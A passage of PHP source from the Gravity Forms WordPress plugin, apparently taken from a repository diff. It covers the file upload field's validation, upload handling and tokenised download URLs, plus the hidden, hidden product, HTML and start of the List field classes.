$check_result = GFCommon::check_type_and_ext( $_FILES[ $input_name ] );
if ( is_wp_error( $check_result ) ) {
$this->failed_validation = true;
GFCommon::log_debug( __METHOD__ . '(): The uploaded file type is not allowed.' );
$this->validation_message = esc_html__( 'The uploaded file type is not allowed.', 'gravityforms' );
return;
}
}
$single_file_name = $_FILES[ $input_name ]['name'];
$file_names = array( array( 'uploaded_filename' => $single_file_name ) );
}
foreach ( $file_names as $file_name ) {
GFCommon::log_debug( __METHOD__ . '(): Validating file upload for ' . $file_name['uploaded_filename'] );
$info = pathinfo( rgar( $file_name, 'uploaded_filename' ) );
if ( empty( $allowed_extensions ) ) {
if ( GFCommon::file_name_has_disallowed_extension( rgar( $file_name, 'uploaded_filename' ) ) ) {
GFCommon::log_debug( __METHOD__ . '(): The file has a disallowed extension, failing validation.' );
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'The uploaded file type is not allowed.', 'gravityforms' ) : $this->errorMessage;
}
} else {
if ( ! empty( $info['basename'] ) && ! GFCommon::match_file_extension( rgar( $file_name, 'uploaded_filename' ), $allowed_extensions ) ) {
GFCommon::log_debug( __METHOD__ . '(): The file is of a type that cannot be uploaded, failing validation.' );
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? sprintf( esc_html__( 'The uploaded file type is not allowed. Must be one of the following: %s', 'gravityforms' ), strtolower( $this->allowedExtensions ) ) : $this->errorMessage;
}
}
}
GFCommon::log_debug( __METHOD__ . '(): Validation complete.' );
}
public function get_first_input_id( $form ) {
return $this->multipleFiles ? '' : 'input_' . $form['id'] . '_' . $this->id;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$lead_id = absint( rgar( $entry, 'id' ) );
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = absint( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
$multiple_files = $this->multipleFiles;
$file_list_id = 'gform_preview_' . $form_id . '_' . $id;
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$max_upload_size = ! $is_admin && $this->maxFileSize > 0 ? $this->maxFileSize * 1048576 : wp_max_upload_size();
$allowed_extensions = ! empty( $this->allowedExtensions ) ? join( ',', GFCommon::clean_extensions( explode( ',', strtolower( $this->allowedExtensions ) ) ) ) : array();
if ( ! empty( $allowed_extensions ) ) {
$extensions_message = esc_attr( sprintf( __( 'Accepted file types: %s.', 'gravityforms' ), str_replace( ',', ', ', $allowed_extensions ) ) );
} else {
$extensions_message = '';
}
$extensions_message_id = 'extensions_message_' . $form_id . '_' . $id;
if ( $multiple_files ) {
$upload_action_url = trailingslashit( site_url() ) . '?gf_page=' . GFCommon::get_upload_page_slug();
$max_files = $this->maxFiles > 0 ? $this->maxFiles : 0;
$browse_button_id = 'gform_browse_button_' . $form_id . '_' . $id;
$container_id = 'gform_multifile_upload_' . $form_id . '_' . $id;
$drag_drop_id = 'gform_drag_drop_area_' . $form_id . '_' . $id;
$messages_id = "gform_multifile_messages_{$form_id}_{$id}";
if ( empty( $allowed_extensions ) ) {
$allowed_extensions = '*';
}
$disallowed_extensions = GFCommon::get_disallowed_file_extensions();
if ( defined( 'DOING_AJAX' ) && DOING_AJAX && 'rg_change_input_type' === rgpost( 'action' ) ) {
$plupload_init = array();
} else {
$plupload_init = array(
'runtimes' => 'html5,flash,html4',
'browse_button' => $browse_button_id,
'container' => $container_id,
'drop_element' => $drag_drop_id,
'filelist' => $file_list_id,
'unique_names' => true,
'file_data_name' => 'file',
/*'chunk_size' => '10mb',*/ // chunking doesn't currently have very good cross-browser support
'url' => $upload_action_url,
'flash_swf_url' => includes_url( 'js/plupload/plupload.flash.swf' ),
'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ),
'filters' => array(
'mime_types' => array( array( 'title' => __( 'Allowed Files', 'gravityforms' ), 'extensions' => $allowed_extensions ) ),
'max_file_size' => $max_upload_size . 'b',
),
'multipart' => true,
'urlstream_upload' => false,
'multipart_params' => array(
'form_id' => $form_id,
'field_id' => $id,
),
'gf_vars' => array(
'max_files' => $max_files,
'message_id' => $messages_id,
'disallowed_extensions' => $disallowed_extensions,
)
);
if ( rgar( $form, 'requireLogin' ) ) {
$plupload_init['multipart_params'][ '_gform_file_upload_nonce_' . $form_id ] = wp_create_nonce( 'gform_file_upload_' . $form_id, '_gform_file_upload_nonce_' . $form_id );
}
// plupload 2 was introduced in WordPress 3.9. Plupload 1 accepts a slightly different init array.
if ( version_compare( get_bloginfo( 'version' ), '3.9-RC1', '<' ) ) {
$plupload_init['max_file_size'] = $max_upload_size . 'b';
$plupload_init['filters'] = array( array( 'title' => __( 'Allowed Files', 'gravityforms' ), 'extensions' => $allowed_extensions ) );
}
}
$plupload_init = gf_apply_filters( array( 'gform_plupload_settings', $form_id ), $plupload_init, $form_id, $this );
$drop_files_here_text = esc_html__( 'Drop files here or', 'gravityforms' );
$select_files_text = esc_attr__( 'Select files', 'gravityforms' );
$plupload_init_json = htmlspecialchars( json_encode( $plupload_init ), ENT_QUOTES, 'UTF-8' );
$upload = "<div id='{$container_id}' data-settings='{$plupload_init_json}' class='gform_fileupload_multifile'>
<div id='{$drag_drop_id}' class='gform_drop_area'>
<span class='gform_drop_instructions'>{$drop_files_here_text} </span>
<input id='{$browse_button_id}' type='button' value='{$select_files_text}' class='button gform_button_select_files' aria-describedby='{$extensions_message_id}' {$tabindex} />
</div>
</div>";
if ( ! $is_admin ) {
$upload .= "<span id='{$extensions_message_id}' class='screen-reader-text'>{$extensions_message}</span>";
$upload .= "<div class='validation_message'>
<ul id='{$messages_id}'>
</ul>
</div>";
}
if ( $is_entry_detail ) {
$upload .= sprintf( '<input type="hidden" name="input_%d" value=\'%s\' />', $id, esc_attr( $value ) );
}
} else {
$upload = '';
if ( $max_upload_size <= 2047 * 1048576 ) {
// MAX_FILE_SIZE > 2048MB fails. The file size is checked anyway once uploaded, so it's not necessary.
$upload = sprintf( "<input type='hidden' name='MAX_FILE_SIZE' value='%d' />", $max_upload_size );
}
$upload .= sprintf( "<input name='input_%d' id='%s' type='file' class='%s' aria-describedby='%s' onchange='javascript:gformValidateFileSize( this, %s );' {$tabindex} %s/>", $id, $field_id, esc_attr( $class ), $extensions_message_id, esc_attr( $max_upload_size ), $disabled_text );
if ( ! $is_admin ) {
$upload .= "<span id='{$extensions_message_id}' class='screen-reader-text'>{$extensions_message}</span>";
$upload .= "<div class='validation_message'></div>";
}
}
if ( $is_entry_detail && ! empty( $value ) ) { // edit entry
$file_urls = $multiple_files ? json_decode( $value ) : array( $value );
$upload_display = $multiple_files ? '' : "style='display:none'";
$preview = "<div id='upload_$id' {$upload_display}>$upload</div>";
$preview .= sprintf( "<div id='%s'></div>", $file_list_id );
$preview .= sprintf( "<div id='preview_existing_files_%d'>", $id );
foreach ( $file_urls as $file_index => $file_url ) {
/**
* Allow for override of SSL replacement.
*
* By default Gravity Forms will attempt to determine if the schema of the URL should be overwritten for SSL.
* This is not ideal for all situations, particularly domain mapping. Setting $field_ssl to false will prevent
* the override.
*
* @since 2.1.1.23
*
* @param bool $field_ssl True to allow override if needed or false if not.
* @param string $file_url The file URL in question.
* @param GF_Field_FileUpload $field The field object for further context.
*/
$field_ssl = apply_filters( 'gform_secure_file_download_is_https', true, $file_url, $this );
if ( GFCommon::is_ssl() && strpos( $file_url, 'http:' ) !== false && $field_ssl === true ) {
$file_url = str_replace( 'http:', 'https:', $file_url );
}
$download_file_text = esc_attr__( 'Download file', 'gravityforms' );
$delete_file_text = esc_attr__( 'Delete file', 'gravityforms' );
$file_index = intval( $file_index );
$file_url = esc_attr( $file_url );
$display_file_url = GFCommon::truncate_url( $file_url );
$file_url = $this->get_download_url( $file_url );
$download_button_url = GFCommon::get_base_url() . '/images/download.png';
$delete_button_url = GFCommon::get_base_url() . '/images/delete.png';
$preview .= "<div id='preview_file_{$file_index}' class='ginput_preview'>
<a href='{$file_url}' target='_blank' alt='{$file_url}' title='{$file_url}'>{$display_file_url}</a>
<a href='{$file_url}' target='_blank' alt='{$download_file_text}' title='{$download_file_text}'>
<img src='{$download_button_url}' style='margin-left:10px;'/></a><a href='javascript:void(0);' alt='{$delete_file_text}' title='{$delete_file_text}' onclick='DeleteFile({$lead_id},{$id},this);' onkeypress='DeleteFile({$lead_id},{$id},this);' ><img src='{$delete_button_url}' style='margin-left:10px;'/></a>
</div>";
}
$preview .= '</div>';
return $preview;
} else {
$input_name = "input_{$id}";
$uploaded_files = isset( GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] : array();
$file_infos = $multiple_files ? $uploaded_files : RGFormsModel::get_temp_filename( $form_id, $input_name );
if ( ! empty( $file_infos ) ) {
$preview = sprintf( "<div id='%s'>", $file_list_id );
$file_infos = $multiple_files ? $uploaded_files : array( $file_infos );
foreach ( $file_infos as $file_info ) {
$file_upload_markup = apply_filters( 'gform_file_upload_markup', "<img alt='" . esc_attr__( 'Delete file', 'gravityforms' ) . "' title='" . esc_attr__( 'Delete file', 'gravityforms' ) . "' class='gform_delete' src='" . GFCommon::get_base_url() . "/images/delete.png' onclick='gformDeleteUploadedFile({$form_id}, {$id}, this);' onkeypress='gformDeleteUploadedFile({$form_id}, {$id}, this);' /> <strong>" . esc_html( $file_info['uploaded_filename'] ) . '</strong>', $file_info, $form_id, $id );
$preview .= "<div class='ginput_preview'>{$file_upload_markup}</div>";
}
$preview .= '</div>';
if ( ! $multiple_files ) {
$upload = str_replace( " class='", " class='gform_hidden ", $upload );
}
return "<div class='ginput_container ginput_container_fileupload'>" . $upload . " {$preview}</div>";
} else {
$preview = $multiple_files ? sprintf( "<div id='%s'></div>", $file_list_id ) : '';
return "<div class='ginput_container ginput_container_fileupload'>$upload</div>" . $preview;
}
}
}
public function is_value_submission_empty( $form_id ) {
$input_name = 'input_' . $this->id;
if ( $this->multipleFiles ) {
$uploaded_files = GFFormsModel::$uploaded_files[ $form_id ];
$file_info = rgar( $uploaded_files, $input_name );
return empty( $file_info );
} else {
$file_info = GFFormsModel::get_temp_filename( $form_id, $input_name );
return ! $file_info && empty( $_FILES[ $input_name ]['name'] );
}
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( ! $this->multipleFiles ) {
return $this->get_single_file_value( $form['id'], $input_name );
}
if ( $this->is_entry_detail() && empty( $lead ) ) {
// Deleted files remain in the $value from $_POST so use the updated entry value.
$lead = GFFormsModel::get_lead( $lead_id );
$value = rgar( $lead, strval( $this->id ) );
}
return $this->get_multifile_value( $form['id'], $input_name, $value );
}
public function get_multifile_value( $form_id, $input_name, $value ) {
global $_gf_uploaded_files;
GFCommon::log_debug( __METHOD__ . '(): Starting.' );
if ( isset( $_gf_uploaded_files[ $input_name ] ) ) {
$value = $_gf_uploaded_files[ $input_name ];
} else {
if ( isset( GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] ) ) {
$uploaded_temp_files = GFFormsModel::$uploaded_files[ $form_id ][ $input_name ];
$uploaded_files = array();
foreach ( $uploaded_temp_files as $i => $file_info ) {
$temp_filepath = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $file_info['temp_filename'];
if ( $file_info && file_exists( $temp_filepath ) ) {
$uploaded_files[ $i ] = $this->move_temp_file( $form_id, $file_info );
}
}
if ( ! empty( $value ) ) { // merge with existing files (admin edit entry)
$value = json_decode( $value, true );
$value = array_merge( $value, $uploaded_files );
$value = json_encode( $value );
} else {
$value = json_encode( $uploaded_files );
}
} else {
GFCommon::log_debug( __METHOD__ . '(): No files uploaded. Exiting.' );
$value = '';
}
$_gf_uploaded_files[ $input_name ] = $value;
}
$value_safe = $this->sanitize_entry_value( $value, $form_id );
return $value_safe;
}
public function get_single_file_value( $form_id, $input_name ) {
global $_gf_uploaded_files;
GFCommon::log_debug( __METHOD__ . '(): Starting.' );
if ( empty( $_gf_uploaded_files ) ) {
$_gf_uploaded_files = array();
}
if ( ! isset( $_gf_uploaded_files[ $input_name ] ) ) {
//check if file has already been uploaded by previous step
$file_info = GFFormsModel::get_temp_filename( $form_id, $input_name );
$temp_filepath = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $file_info['temp_filename'];
if ( $file_info && file_exists( $temp_filepath ) ) {
GFCommon::log_debug( __METHOD__ . '(): File already uploaded to tmp folder, moving.' );
$_gf_uploaded_files[ $input_name ] = $this->move_temp_file( $form_id, $file_info );
} else if ( ! empty( $_FILES[ $input_name ]['name'] ) ) {
GFCommon::log_debug( __METHOD__ . '(): calling upload_file' );
$_gf_uploaded_files[ $input_name ] = $this->upload_file( $form_id, $_FILES[ $input_name ] );
} else {
GFCommon::log_debug( __METHOD__ . '(): No file uploaded. Exiting.' );
}
}
return rgget( $input_name, $_gf_uploaded_files );
}
public function upload_file( $form_id, $file ) {
GFCommon::log_debug( __METHOD__ . '(): Uploading file: ' . $file['name'] );
$target = GFFormsModel::get_file_upload_path( $form_id, $file['name'] );
if ( ! $target ) {
GFCommon::log_debug( __METHOD__ . '(): FAILED (Upload folder could not be created.)' );
return 'FAILED (Upload folder could not be created.)';
}
GFCommon::log_debug( __METHOD__ . '(): Upload folder is ' . print_r( $target, true ) );
if ( move_uploaded_file( $file['tmp_name'], $target['path'] ) ) {
GFCommon::log_debug( __METHOD__ . '(): File ' . $file['tmp_name'] . ' successfully moved to ' . $target['path'] . '.' );
$this->set_permissions( $target['path'] );
return $target['url'];
} else {
GFCommon::log_debug( __METHOD__ . '(): FAILED (Temporary file ' . $file['tmp_name'] . ' could not be copied to ' . $target['path'] . '.)' );
return 'FAILED (Temporary file could not be copied.)';
}
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
if ( $this->multipleFiles ) {
$uploaded_files_arr = empty( $value ) ? array() : json_decode( $value, true );
$file_count = count( $uploaded_files_arr );
if ( $file_count > 1 ) {
$value = empty( $uploaded_files_arr ) ? '' : sprintf( esc_html__( '%d files', 'gravityforms' ), count( $uploaded_files_arr ) );
return $value;
} elseif ( $file_count == 1 ) {
$value = current( $uploaded_files_arr );
} elseif ( $file_count == 0 ) {
return;
}
}
$file_path = $value;
if ( ! empty( $file_path ) ) {
//displaying thumbnail (if file is an image) or an icon based on the extension
$thumb = GFEntryList::get_icon_url( $file_path );
$file_path = $this->get_download_url( $file_path );
$file_path = esc_attr( $file_path );
$value = "<a href='$file_path' target='_blank' title='" . esc_attr__( 'Click to view', 'gravityforms' ) . "'><img src='$thumb'/></a>";
}
return $value;
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$output = '';
if ( ! empty( $value ) ) {
$output_arr = array();
$file_paths = $this->multipleFiles ? json_decode( $value ) : array( $value );
$force_download = in_array( 'download', $this->get_modifiers() );
if ( is_array( $file_paths ) ) {
foreach ( $file_paths as $file_path ) {
$info = pathinfo( $file_path );
$file_path = $this->get_download_url( $file_path, $force_download );
/**
* Allow for override of SSL replacement
*
* By default Gravity Forms will attempt to determine if the schema of the URL should be overwritten for SSL.
* This is not ideal for all situations, particularly domain mapping. Setting $field_ssl to false will prevent
* the override.
*
* @since 2.1.1.23
*
* @param bool $field_ssl True to allow override if needed or false if not.
* @param string $file_path The file path of the download file.
* @param GF_Field_FileUpload $field The field object for further context.
*/
$field_ssl = apply_filters( 'gform_secure_file_download_is_https', true, $file_path, $this );
if ( GFCommon::is_ssl() && strpos( $file_path, 'http:' ) !== false && $field_ssl === true ) {
$file_path = str_replace( 'http:', 'https:', $file_path );
}
/**
* Allows for the filtering of the file path before output.
*
* @since 2.1.1.23
*
* @param string $file_path The file path of the download file.
* @param GF_Field_FileUpload $field The field object for further context.
*/
$file_path = str_replace( ' ', '%20', apply_filters( 'gform_fileupload_entry_value_file_path', $file_path, $this ) );
$output_arr[] = $format == 'text' ? $file_path : sprintf( "<li><a href='%s' target='_blank' title='%s'>%s</a></li>", esc_attr( $file_path ), esc_attr__( 'Click to view', 'gravityforms' ), $info['basename'] );
}
$output = join( PHP_EOL, $output_arr );
}
}
$output = empty( $output ) || $format == 'text' ? $output : sprintf( '<ul>%s</ul>', $output );
return $output;
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GF_Field::get_modifiers()
* @uses GF_Field_FileUpload::get_download_url()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$force_download = in_array( 'download', $this->get_modifiers() );
if ( $this->multipleFiles ) {
$files = empty( $raw_value ) ? array() : json_decode( $raw_value, true );
foreach ( $files as &$file ) {
$file = $this->get_download_url( $file, $force_download );
$file = str_replace( ' ', '%20', $file );
if ( $esc_html ) {
$value = esc_html( $value );
}
}
$value = $format == 'html' ? join( '<br />', $files ) : join( ', ', $files );
} else {
$value = $this->get_download_url( $value, $force_download );
$value = str_replace( ' ', '%20', $value );
}
if ( $url_encode ) {
$value = urlencode( $value );
}
return $value;
}
public function move_temp_file( $form_id, $tempfile_info ) {
$target = GFFormsModel::get_file_upload_path( $form_id, $tempfile_info['uploaded_filename'] );
$source = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $tempfile_info['temp_filename'];
GFCommon::log_debug( __METHOD__ . '(): Moving temp file from: ' . $source );
if ( rename( $source, $target['path'] ) ) {
GFCommon::log_debug( __METHOD__ . '(): File successfully moved.' );
$this->set_permissions( $target['path'] );
return $target['url'];
} else {
GFCommon::log_debug( __METHOD__ . '(): FAILED (Temporary file could not be moved.)' );
return 'FAILED (Temporary file could not be moved.)';
}
}
function set_permissions( $path ) {
GFCommon::log_debug( __METHOD__ . '(): Setting permissions on: ' . $path );
GFFormsModel::set_permissions( $path );
}
public function sanitize_settings() {
parent::sanitize_settings();
if ( $this->maxFileSize ) {
$this->maxFileSize = absint( $this->maxFileSize );
}
if ( $this->maxFiles ) {
$this->maxFiles = preg_replace( '/[^0-9,.]/', '', $this->maxFiles );
}
$this->multipleFiles = (bool) $this->multipleFiles;
$this->allowedExtensions = sanitize_text_field( $this->allowedExtensions );
}
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$value = rgar( $entry, $input_id );
if ( $this->multipleFiles && ! empty( $value ) ) {
return implode( ' , ', json_decode( $value, true ) );
}
return $value;
}
/**
* Returns the download URL for a file. The URL is not escaped for output.
*
* @since 2.0
* @access public
*
* @param string $file The complete file URL.
* @param bool $force_download If the download should be forced. Defaults to false.
*
* @return string
*/
public function get_download_url( $file, $force_download = false ) {
$download_url = $file;
$secure_download_location = true;
/**
* By default the real location of the uploaded file will be hidden and the download URL will be generated with
* a security token to prevent guessing or enumeration attacks to discover the location of other files.
*
* Return FALSE to display the real location.
*
* @param bool $secure_download_location If the secure location should be used. Defaults to true.
* @param string $file The URL of the file.
* @param GF_Field_FileUpload $this The Field
*/
$secure_download_location = apply_filters( 'gform_secure_file_download_location', $secure_download_location, $file, $this );
$secure_download_location = apply_filters( 'gform_secure_file_download_location_' . $this->formId, $secure_download_location, $file, $this );
if ( ! $secure_download_location ) {
/**
* Allow filtering of the download URL.
*
* Allows for manual filtering of the download URL to handle conditions such as
* unusual domain mapping and others.
*
* @since 2.1.1.1
*
* @param string $download_url The URL from which to download the file.
* @param GF_Field_FileUpload $field The field object for further context.
*/
return apply_filters( 'gform_secure_file_download_url', $download_url, $this );
}
$upload_root = GFFormsModel::get_upload_url( $this->formId );
$upload_root = trailingslashit( $upload_root );
// Only hide the real URL if the location of the file is in the upload root for the form.
// The upload root is calculated using the WP Salts so if the WP Salts have changed then file can't be located during the download request.
if ( strpos( $file, $upload_root ) !== false ) {
$file = str_replace( $upload_root, '', $file );
$download_url = site_url( 'index.php' );
$args = array(
'gf-download' => urlencode( $file ),
'form-id' => $this->formId,
'field-id' => $this->id,
'hash' => GFCommon::generate_download_hash( $this->formId, $this->id, $file ),
);
if ( $force_download ) {
$args['dl'] = 1;
}
$download_url = add_query_arg( $args, $download_url );
}
/**
* Allow filtering of the download URL.
*
* Allows for manual filtering of the download URL to handle conditions such as
* unusual domain mapping and others.
*
* @param string $download_url The URL from which to download the file.
* @param GF_Field_FileUpload $field The field object for further context.
*/
return apply_filters( 'gform_secure_file_download_url', $download_url, $this );
}
}
GF_Fields::register( new GF_Field_FileUpload() );

View File

@@ -0,0 +1,62 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Hidden extends GF_Field {
public $type = 'hidden';
public function get_form_editor_field_title() {
return esc_attr__( 'Hidden', 'gravityforms' );
}
public function is_conditional_logic_supported(){
return true;
}
function get_form_editor_field_settings() {
return array(
'prepopulate_field_setting',
'label_setting',
'default_value_setting',
);
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$field_type = $is_entry_detail || $is_form_editor ? 'text' : 'hidden';
$class_attribute = $is_entry_detail || $is_form_editor ? '' : "class='gform_hidden'";
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return sprintf( "<input name='input_%d' id='%s' type='$field_type' {$class_attribute} {$required_attribute} {$invalid_attribute} value='%s' %s/>", $id, $field_id, esc_attr( $value ), $disabled_text );
}
public function get_field_content( $value, $force_frontend_label, $form ) {
$form_id = $form['id'];
$admin_buttons = $this->get_admin_buttons();
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$field_label = $this->get_field_label( $force_frontend_label, $value );
$field_id = $is_admin || $form_id == 0 ? "input_{$this->id}" : 'input_' . $form_id . "_{$this->id}";
$field_content = ! $is_admin ? '{FIELD}' : $field_content = sprintf( "%s<label class='gfield_label' for='%s'>%s</label>{FIELD}", $admin_buttons, $field_id, esc_html( $field_label ) );
return $field_content;
}
}
GF_Fields::register( new GF_Field_Hidden() );

View File

@@ -0,0 +1,80 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_HiddenProduct extends GF_Field {
public $type = 'hiddenproduct';
function get_form_editor_field_settings() {
return array(
'base_price_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function validate( $value, $form ) {
$quantity_id = $this->id . '.3';
$quantity = rgget( $quantity_id, $value );
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
$this->failed_validation = true;
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
if ( rgblank( $quantity ) ) {
$quantity = 1;
}
if ( empty( $price ) ) {
$price = 0;
}
$price = esc_attr( $price );
$has_quantity_field = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
if ( $has_quantity_field ) {
$this->disableQuantity = true;
}
$quantity_field = $has_quantity_field ? '' : "<input type='hidden' name='input_{$id}.3' value='" . esc_attr( $quantity ) . "' id='ginput_quantity_{$form_id}_{$this->id}' class='gform_hidden' />";
$product_name_field = "<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />";
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$field_type = $is_entry_detail || $is_form_editor ? 'text' : 'hidden';
return $quantity_field . $product_name_field . "<input name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' type='{$field_type}' value='{$price}' class='gform_hidden ginput_amount' {$disabled_text}/>";
}
public function sanitize_settings() {
parent::sanitize_settings();
$price_number = GFCommon::to_number( $this->basePrice );
$this->basePrice = GFCommon::to_money( $price_number );
}
}
GF_Fields::register( new GF_Field_HiddenProduct() );

View File

@@ -0,0 +1,73 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_HTML extends GF_Field {
public $type = 'html';
public function get_form_editor_field_title() {
return esc_attr__( 'HTML', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'content_setting',
'disable_margins_setting',
'conditional_logic_field_setting',
'label_setting',
'css_class_setting',
);
}
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$content = $is_entry_detail || $is_form_editor ? "<div class='gf-html-container'><span class='gf_blockheader'>
<i class='fa fa-code fa-lg'></i> " . esc_html__( 'HTML Content', 'gravityforms' ) .
'</span><span>' . esc_html__( 'This is a content placeholder. HTML content is not displayed in the form admin. Preview this form to view the content.', 'gravityforms' ) . '</span></div>'
: $this->content;
$content = GFCommon::replace_variables_prepopulate( $content ); // adding support for merge tags
// adding support for shortcodes
$content = $this->do_shortcode( $content );
return $content;
}
public function get_field_content( $value, $force_frontend_label, $form ) {
$form_id = $form['id'];
$admin_buttons = $this->get_admin_buttons();
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$field_label = $this->get_field_label( $force_frontend_label, $value );
$field_id = $is_admin || $form_id == 0 ? "input_{$this->id}" : 'input_' . $form_id . "_{$this->id}";
$field_content = ! $is_admin ? '{FIELD}' : $field_content = sprintf( "%s<label class='gfield_label' for='%s'>%s</label>{FIELD}", $admin_buttons, $field_id, esc_html( $field_label ) );
return $field_content;
}
public function sanitize_settings() {
parent::sanitize_settings();
$this->content = GFCommon::maybe_wp_kses( $this->content );
}
public function do_shortcode( $content ){
if( isset($GLOBALS['wp_embed']) ) {
// adds support for the [embed] shortcode
$content = $GLOBALS['wp_embed']->run_shortcode( $content );
}
// executes all other shortcodes
$content = do_shortcode( $content );
return $content;
}
}
GF_Fields::register( new GF_Field_HTML() );

View File

@@ -0,0 +1,786 @@
<?php
// If Gravity Forms isn't loaded, bail.
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class GF_Field_List
*
* Handles the behavior of List fields.
*
* @since Unknown
*/
class GF_Field_List extends GF_Field {
/**
* Sets the field type for the List field.
*
* @since Unknown
* @access public
*
* @var string The field type.
*/
public $type = 'list';
/**
* Sets the field title to be displayed in the form editor.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_type_title()
* @used-by GFAddOn::get_field_map_choices()
* @used-by GF_Field::get_form_editor_button()
*
* @return string The field title. Escaped and translatable.
*/
public function get_form_editor_field_title() {
return esc_attr__( 'List', 'gravityforms' );
}
/**
* Defines the field settings available in the form editor.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::inline_scripts()
*
* @return array The settings available.
*/
function get_form_editor_field_settings() {
return array(
'columns_setting',
'maxrows_setting',
'add_icon_url_setting',
'delete_icon_url_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'rules_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
);
}
/**
* Gets the ID of the first input.
*
* @since Unknown
* @access public
*
* @uses GF_Field::is_form_editor()
* @uses GF_Field_List::$id
*
* @param array $form The Form Object.
*
* @return string The ID of the first input. Empty string if not found.
*/
public function get_first_input_id( $form ) {
return ! $this->is_form_editor() ? sprintf( 'input_%s_%s_shim', $form['id'], $this->id ) : '';
}
/**
* Defines if the inline style block has been printed.
*
* @since Unknown
* @access private
*
* @used-by GF_Field_List::get_field_input()
*
* @var bool false
*/
private static $_style_block_printed = false;
/**
* Builds the field input HTML markup.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_input()
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_List::$_style_block_printed
* @uses GF_Field_List::$maxRow
* @uses GF_Field_List::$addIconUrl
* @uses GF_Field_List::$deleteIconUrl
* @uses GFCommon::get_base_url()
*
* @param array $form The Form Object.
* @param string $value The field value. Defaults to empty string.
* @param null|array $entry The Entry Object. Defaults to null.
*
* @return string The List field HTML markup.
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
